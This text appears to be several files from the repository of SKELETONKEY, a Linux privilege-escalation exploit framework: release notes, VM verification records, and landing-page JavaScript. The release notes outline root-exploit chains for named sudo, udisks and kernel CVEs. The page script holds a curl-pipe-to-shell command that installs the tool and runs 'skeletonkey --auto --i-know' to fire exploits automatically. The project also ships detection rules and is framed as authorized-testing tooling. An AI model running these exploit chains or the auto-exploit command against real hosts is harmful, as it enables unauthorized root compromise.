## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
|
||||
|
||||
Closes the 2025 coverage gap. Three new modules from CVEs disclosed
|
||||
2025–2026, all with public PoC code we ported into proper
|
||||
SKELETONKEY modules:
|
||||
|
||||
### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
|
||||
|
||||
Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
|
||||
into a user-controlled directory before completing authorization +
|
||||
resolves user/group via NSS inside the chroot. Plant a malicious
|
||||
`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
|
||||
the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
|
||||
1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
|
||||
`arch_support: any` (pure userspace).
|
||||
|
||||
### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
|
||||
|
||||
udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
|
||||
filesystem-resize/repair mount path omits `MS_NOSUID` and
|
||||
`MS_NODEV`. udisks2 gates the operation on polkit's
|
||||
`org.freedesktop.UDisks2.modify-device` action, which is
|
||||
`allow_active=yes` by default → any active console session user can
|
||||
trigger it without a password. Build an ext4 image with a SUID-root
|
||||
shell inside, get udisks to mount it, execute the SUID shell.
|
||||
Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
|
||||
|
||||
### CVE-2026-43494 — `pintheft` (V12 Security)
|
||||
|
||||
Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
|
||||
pins user pages one at a time; if a later page faults, the error
|
||||
unwind drops the already-pinned pages, but the msg's scatterlist
|
||||
cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
|
||||
one pin refcount. Chain via io_uring fixed buffers to overwrite the
|
||||
page cache of a readable SUID binary → execve → root. Mainline fix
|
||||
commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
|
||||
distros only **Arch Linux** autoloads the rds module — Ubuntu /
|
||||
Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
|
||||
build it or blacklist autoload. `detect()` correctly returns OK
|
||||
on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
|
||||
status: primitive fires; full cred-overwrite via the shared
|
||||
modprobe_path finisher requires `--full-chain` on x86_64.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.7.1 | v0.8.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 31 | 34 |
|
||||
| Distinct CVEs | 26 | 29 |
|
||||
| 2025-CVE coverage | 0 | 2 |
|
||||
| Detection rules embedded | 119 | 131 |
|
||||
| Arch-independent (`any`) | 4 | 6 |
|
||||
| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- `tools/refresh-cve-metadata.py` — added curl fallback for the
|
||||
CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
|
||||
CISA's HTTP/2 endpoint).
|
||||
- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
|
||||
with honest "no Vagrant box covers this yet" notes for
|
||||
pintheft (needs Arch) and udisks_libblockdev (needs active
|
||||
console session + udisks2 installed).
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
|
||||
|
||||
Point release on top of v0.7.0. Two additions:
|
||||
|
||||
1. **`skeletonkey-arm64-static`** is now published alongside the
|
||||
existing x86_64-static binary. Built native-arm64 in Alpine via
|
||||
GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
|
||||
Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
|
||||
and any other aarch64 Linux. `install.sh` auto-picks it.
|
||||
|
||||
2. **`arch_support` per module** — a new field on
|
||||
`struct skeletonkey_module` that honestly labels which architectures
|
||||
the `exploit()` body has been verified on. Three categories:
|
||||
|
||||
- **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
|
||||
pack2theroot. Purely userspace; arch-independent.
|
||||
- **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
|
||||
x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
|
||||
Already gated in source — returns PRECOND_FAIL on non-x86_64.
|
||||
- **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
|
||||
code that hasn't been verified on arm64 yet. `detect()` works
|
||||
everywhere (it just reads `ctx->host`); the `exploit()` body uses
|
||||
primitives (msg_msg sprays, ROP-style finishers, specific struct
|
||||
offsets) that are likely portable to aarch64 but unproven.
|
||||
|
||||
`--list` adds an ARCH column; `--module-info` adds an `arch support:`
|
||||
line; `--scan --json` adds an `arch_support` field per module.
|
||||
|
||||
**What an arm64 user gets today:** the full detection/triage workflow
|
||||
works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
|
||||
`--detect-rules`, `--auto --dry-run`). Four exploit modules
|
||||
(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
|
||||
end-to-end. The remaining 26 modules currently mark themselves as
|
||||
"x86_64 verified; arm64 untested" — the bug class is generic but the
|
||||
exploitation hasn't been confirmed. Future arm64-Vagrant verification
|
||||
sweeps will promote modules to `any` as they're confirmed.
|
||||
|
||||
---
|
||||
|
||||
### From v0.7.0 — empirical verification + operator briefing
|
||||
|
||||
The headline change since v0.6.0: **22 of 26 CVEs are now empirically
|
||||
confirmed against real Linux kernels in VMs**, with verification records
|
||||
baked into the binary and surfaced in `--list`, `--module-info`, and
|
||||
`--explain`. The four still-unverified entries (`vmwgfx`, `dirty_cow`,
|
||||
`dirtydecrypt`, `fragnesia`) are blocked by their target environment
|
||||
(VMware-only, ≤4.4 kernel, Linux 7.0 not yet shipping), not by missing
|
||||
code — see
|
||||
[`tools/verify-vm/targets.yaml`](https://github.com/KaraZajac/SKELETONKEY/blob/main/tools/verify-vm/targets.yaml)
|
||||
for the rationale.
|
||||
|
||||
### Install
|
||||
|
||||
Pre-built binaries below (x86_64 dynamic, x86_64 static-musl, arm64
|
||||
dynamic; all checksum-verified). Recommended for new installs:
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
skeletonkey --version
|
||||
```
|
||||
|
||||
Static-musl x86_64 is the default — works back to glibc 2.17, no
|
||||
library dependencies.
|
||||
|
||||
### What's in this release
|
||||
|
||||
**Empirical verification (the big one)**
|
||||
- `tools/verify-vm/` — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro or mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per module,
|
||||
records match/mismatch as JSONL.
|
||||
- 22 modules confirmed end-to-end across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10.
|
||||
- Per-module `verified_on[]` table baked into the binary. `--list` adds
|
||||
a `VFY` column showing ✓ per verified module; footer prints
|
||||
`31 modules registered · 10 in CISA KEV (★) · 22 empirically verified
|
||||
in real VMs (✓)`.
|
||||
- `--module-info <name>` adds a `--- verified on ---` section.
|
||||
- `--explain <name>` adds a `VERIFIED ON` section.
|
||||
|
||||
**`--explain MODULE` — one-page operator briefing**
|
||||
|
||||
A single command renders, for any module: CVE / CWE / MITRE ATT&CK /
|
||||
CISA KEV status, host fingerprint, **live `detect()` trace** with
|
||||
verdict and interpretation, **OPSEC footprint** (what an exploit
|
||||
would leave on this host), detection-rule coverage matrix, and
|
||||
verification records. Paste-ready for triage tickets and SOC handoffs.
|
||||
|
||||
**CVE metadata pipeline**
|
||||
|
||||
`tools/refresh-cve-metadata.py` fetches CISA's Known Exploited
|
||||
Vulnerabilities catalog + NVD CWE classifications, generates
|
||||
`docs/CVE_METADATA.json` + `docs/KEV_CROSSREF.md` + the in-binary
|
||||
lookup table. **10 of 26 modules cover KEV-listed CVEs.** MITRE ATT&CK
|
||||
technique mapping (T1068 by default; T1611 for container escapes;
|
||||
T1082 for kernel info leaks). All surfaced in `--list` (★ column),
|
||||
`--module-info`, `--explain`, and `--scan --json` (new `triage`
|
||||
sub-object per module).
|
||||
|
||||
**Per-module OPSEC notes**
|
||||
|
||||
Every module's struct now carries an `opsec_notes` paragraph describing
|
||||
the runtime telemetry footprint: file artifacts, dmesg signatures,
|
||||
syscall observables, network activity, persistence side effects,
|
||||
cleanup behavior. Grounded in source + existing detection rules — the
|
||||
inverse of what the auditd/sigma/yara/falco rules look for. Surfaced
|
||||
in `--module-info` (text + JSON) and `--explain`.
|
||||
|
||||
**119 detection rules across all 4 SIEM formats**
|
||||
|
||||
Previously: auditd everywhere, sigma on top-10, yara/falco only on a
|
||||
handful. Now: 30/31 auditd, 31/31 sigma, 28/31 yara, 30/31 falco
|
||||
(the 3 remaining gaps are intentional skips — `entrybleed` is a pure
|
||||
timing side-channel with no syscall/file footprint;
|
||||
`ptrace_traceme` and `sudo_samedit` are pure-memory races with no
|
||||
on-disk artifacts).
|
||||
|
||||
**Test harness**
|
||||
|
||||
88 tests on every push: 33 kernel_range / host-fingerprint unit tests
|
||||
(`tests/test_kernel_range.c` — boundary conditions, NULL safety,
|
||||
multi-LTS, mainline-only) + 55 `detect()` integration tests
|
||||
(`tests/test_detect.c` — synthetic host fingerprints across 26
|
||||
modules). Coverage report at the end identifies any modules without
|
||||
direct test rows.
|
||||
|
||||
**`core/host.c` shared host-fingerprint refactor**
|
||||
|
||||
One probe of kernel / arch / distro / userns gates / apparmor /
|
||||
selinux / lockdown / sudo + polkit versions at startup. Every
|
||||
module's `detect()` consumes `ctx->host`. Adds `meltdown_mitigation[]`
|
||||
passthrough so `entrybleed` can distinguish "Not affected" (CPU
|
||||
immune; OK) from "Mitigation: PTI" (KPTI on; vulnerable to
|
||||
EntryBleed) without re-reading sysfs.
|
||||
|
||||
**kernel_range drift detector**
|
||||
|
||||
`tools/refresh-kernel-ranges.py` polls Debian's security tracker and
|
||||
reports drift between the embedded `kernel_patched_from` tables and
|
||||
what Debian actually ships. Already used to apply 9 corpus fixes in
|
||||
v0.7.0; 9 more `TOO_TIGHT` findings pending per-commit verification.
|
||||
|
||||
**Marketing-grade landing page**
|
||||
|
||||
[karazajac.github.io/SKELETONKEY](https://karazajac.github.io/SKELETONKEY/)
|
||||
— animated hero, `--explain` showcase with line-by-line typed terminal,
|
||||
bento-grid features, KEV / verification stat chips. New Open Graph
|
||||
card renders correctly on Twitter/LinkedIn/Slack/Discord.
|
||||
|
||||
### Real findings from the verifier
|
||||
|
||||
A handful of cases that show the project's "verified-vs-claimed bar"
|
||||
thesis paying off in real time:
|
||||
|
||||
- **`dirty_pipe` on Ubuntu 22.04 (5.15.0-91-generic)** — version-only
|
||||
check would say VULNERABLE (5.15.0 < 5.15.25 backport in our table),
|
||||
but Ubuntu has silently backported the fix into the -91 patch level.
|
||||
`--active` correctly identified the primitive as blocked → OK. Only
|
||||
an empirical probe can tell.
|
||||
- **`af_packet` on Ubuntu 18.04 (4.15.0-213-generic)** — our target
|
||||
expectation was wrong; 4.15 is post-fix. Caught + corrected by the
|
||||
verifier sweep.
|
||||
- **`sudoedit_editor` on Ubuntu 22.04** — sudo 1.9.9 is the vulnerable
|
||||
version, but the default vagrant user has no sudoers grant to abuse.
|
||||
`detect()` correctly returns PRECOND_FAIL ("vuln version present, no
|
||||
grant to abuse").
|
||||
|
||||
### Coverage by audience
|
||||
|
||||
- **Red team**: `--auto` ranks vulnerable modules by safety + runs the
|
||||
safest, OPSEC notes per exploit, JSON for pipelines, no telemetry.
|
||||
- **Blue team**: 119 detection rules in all 4 SIEM formats, CISA KEV
|
||||
prioritization, MITRE ATT&CK + CWE annotated, `--explain` triage
|
||||
briefings.
|
||||
- **Researchers**: Source is the docs. CVE metadata sourced from
|
||||
federal databases. `--explain` shows the reasoning chain. 22 VM
|
||||
confirmations for trust.
|
||||
- **Sysadmins**: `--scan` works without sudo. Static-musl binary
|
||||
drops on any Linux. JSON output for CI gates.
|
||||
|
||||
### Compatibility
|
||||
|
||||
- Default install: static-musl x86_64 — works on every Linux back to
|
||||
glibc 2.17 (RHEL 7, Debian 9, Ubuntu 14.04+, Alpine, anything).
|
||||
- Also published: dynamic x86_64 (faster, modern glibc only) and
|
||||
dynamic arm64 (Raspberry Pi 4+, Apple Silicon Linux VMs, ARM
|
||||
servers).
|
||||
|
||||
### Authorized testing only
|
||||
|
||||
SKELETONKEY runs real exploits. By using it you assert you have
|
||||
explicit authorization to test the target system. See
|
||||
[`docs/ETHICS.md`](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md).
|
||||
|
||||
### Links
|
||||
|
||||
- [CVE inventory](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md)
|
||||
- [Verification records](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/VERIFICATIONS.jsonl)
|
||||
- [KEV cross-reference](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md)
|
||||
- [Detection playbook](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md)
|
||||
- [Architecture](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md)
|
||||
- [Roadmap](https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md)
|
||||
@@ -0,0 +1,36 @@
|
||||
{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:00:52Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:02:23Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:04:20Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"cls_route4","verified_at":"2026-05-23T20:13:16Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_payload","verified_at":"2026-05-23T20:15:45Z","host_kernel":"5.15.0-43-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet2","verified_at":"2026-05-23T20:18:13Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sequoia","verified_at":"2026-05-23T20:20:38Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T20:23:07Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_samedit","verified_at":"2026-05-23T20:23:51Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:24:35Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:25:19Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T20:26:02Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"af_packet","verified_at":"2026-05-23T20:27:39Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"pack2theroot","verified_at":"2026-05-23T20:28:23Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"PRECOND_FAIL","actual_detect":"PRECOND_FAIL","status":"match"}
|
||||
{"module":"nf_tables","verified_at":"2026-05-23T21:22:59Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"af_unix_gc","verified_at":"2026-05-23T21:27:13Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_set_uaf","verified_at":"2026-05-23T21:30:41Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"stackrot","verified_at":"2026-05-23T21:34:12Z","host_kernel":"6.1.10-060110-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_chwoot","verified_at":"2026-05-24T02:39:11Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"udisks_libblockdev","verified_at":"2026-05-24T02:44:17Z","host_kernel":"6.1.0-17-amd64","host_distro":"Debian GNU/Linux 12 (bookworm)","vm_box":"generic/debian12","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"nft_pipapo","verified_at":"2026-05-24T03:27:10Z","host_kernel":"5.15.5-051505-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudo_runas_neg1","verified_at":"2026-05-24T03:29:18Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
+213
@@ -0,0 +1,213 @@
|
||||
/* SKELETONKEY landing page — interactive bits.
|
||||
* No frameworks. ~150 lines vanilla JS. Respects prefers-reduced-motion. */
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
|
||||
|
||||
/* ============================================================
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
function typeInstall(cb) {
|
||||
if (reduceMotion) {
|
||||
typedEl.textContent = installCmd;
|
||||
if (cursorEl) cursorEl.style.display = 'none';
|
||||
if (cb) cb();
|
||||
return;
|
||||
}
|
||||
let i = 0;
|
||||
function step() {
|
||||
typedEl.textContent = installCmd.slice(0, i);
|
||||
i++;
|
||||
if (i <= installCmd.length) {
|
||||
setTimeout(step, 18 + Math.random() * 22);
|
||||
} else {
|
||||
if (cursorEl) {
|
||||
// keep cursor blinking for 2s, then hide
|
||||
setTimeout(() => { cursorEl.style.display = 'none'; }, 2000);
|
||||
}
|
||||
if (cb) cb();
|
||||
}
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 2. copy install command
|
||||
* ============================================================ */
|
||||
window.copyInstall = function (btn) {
|
||||
const text = installCmd;
|
||||
navigator.clipboard.writeText(text).then(() => {
|
||||
const original = btn.textContent;
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(() => {
|
||||
btn.textContent = original;
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
}).catch(() => {
|
||||
btn.textContent = '(copy failed)';
|
||||
setTimeout(() => { btn.textContent = 'copy'; }, 1500);
|
||||
});
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* 3. stat count-up animation on view
|
||||
* ============================================================ */
|
||||
function countUp(el) {
|
||||
const target = parseInt(el.dataset.target, 10);
|
||||
if (!target || reduceMotion) { el.textContent = target; return; }
|
||||
const dur = 1100;
|
||||
const start = performance.now();
|
||||
function tick(now) {
|
||||
const t = Math.min((now - start) / dur, 1);
|
||||
// ease-out
|
||||
const v = Math.round(target * (1 - Math.pow(1 - t, 3)));
|
||||
el.textContent = v;
|
||||
if (t < 1) requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 4. --explain terminal: line-by-line reveal
|
||||
* ============================================================ */
|
||||
const explainHTML = [
|
||||
'\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-mod">nf_tables</span> <span class="t-cve">CVE-2024-1086</span>\n',
|
||||
'<span class="t-rule">════════════════════════════════════════════════════</span>\n',
|
||||
' <span class="t-summary">nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">WEAKNESS</span>\n',
|
||||
' <span class="t-cwe">CWE-416</span>\n',
|
||||
' <span class="t-label">MITRE ATT&CK:</span> <span class="t-tech">T1068</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">THREAT INTEL</span>\n',
|
||||
' <span class="t-kev-yes">★ In CISA Known Exploited Vulnerabilities catalog (added 2024-05-30)</span>\n',
|
||||
' <span class="t-label">Affected:</span> 5.14 ≤ K, fixed mainline 6.8; backports: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210\n',
|
||||
'\n',
|
||||
'<span class="t-header">HOST FINGERPRINT</span>\n',
|
||||
' <span class="t-label">kernel:</span> 5.15.0-43-generic (x86_64)\n',
|
||||
' <span class="t-label">distro:</span> Ubuntu 22.04.5 LTS\n',
|
||||
' <span class="t-label">unpriv userns:</span> ALLOWED\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECT() TRACE (live; reads ctx->host, fires gates)</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: kernel 5.15.0-43-generic in vulnerable range</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: userns gate passed</span>\n',
|
||||
'<span class="t-i">[i] nf_tables: nft_verdict_init reachable; bug is fireable here</span>\n',
|
||||
'\n',
|
||||
'<span class="t-header">VERDICT:</span> <span class="t-vuln">VULNERABLE</span>\n',
|
||||
' -> bug is reachable. The OPSEC section below shows what a successful\n',
|
||||
' exploit() would leave on this host.\n',
|
||||
'\n',
|
||||
'<span class="t-header">OPSEC FOOTPRINT (what exploit() leaves on this host)</span>\n',
|
||||
' unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE +\n',
|
||||
' NEWCHAIN/LOCAL_OUT + NEWSET verdict-key + NEWSETELEM malformed NFT_GOTO)\n',
|
||||
' committed twice. msg_msg cg-96 groom; dmesg: KASAN double-free on vuln\n',
|
||||
' kernels. Cleanup is finisher-gated; no persistent files on success.\n',
|
||||
'\n',
|
||||
'<span class="t-header">DETECTION COVERAGE (rules embedded in this binary)</span>\n',
|
||||
' <span class="t-check">✓</span> auditd <span class="t-check">✓</span> sigma <span class="t-check">✓</span> yara <span class="t-check">✓</span> falco\n',
|
||||
];
|
||||
function playExplain(el) {
|
||||
if (reduceMotion) { el.innerHTML = explainHTML.join(''); return; }
|
||||
let i = 0;
|
||||
el.innerHTML = '';
|
||||
function step() {
|
||||
if (i >= explainHTML.length) return;
|
||||
el.innerHTML += explainHTML[i];
|
||||
i++;
|
||||
// pause longer on blank lines to feel like real terminal output
|
||||
const next = explainHTML[i - 1];
|
||||
const delay = next === '\n' ? 60 : (45 + Math.random() * 50);
|
||||
setTimeout(step, delay);
|
||||
}
|
||||
step();
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 5. quickstart tabs
|
||||
* ============================================================ */
|
||||
function initTabs() {
|
||||
const tabs = document.querySelectorAll('.tab');
|
||||
const panels = document.querySelectorAll('.tab-panel');
|
||||
tabs.forEach((t) => {
|
||||
t.addEventListener('click', () => {
|
||||
const tab = t.dataset.tab;
|
||||
tabs.forEach((x) => x.classList.toggle('active', x === t));
|
||||
panels.forEach((p) => p.classList.toggle('active', p.dataset.tab === tab));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* 6. scroll-triggered reveal + first-time triggers
|
||||
* ============================================================ */
|
||||
function initReveal() {
|
||||
if (!('IntersectionObserver' in window) || reduceMotion) {
|
||||
document.querySelectorAll('.reveal').forEach((el) => el.classList.add('in'));
|
||||
// also fire one-shot animations immediately
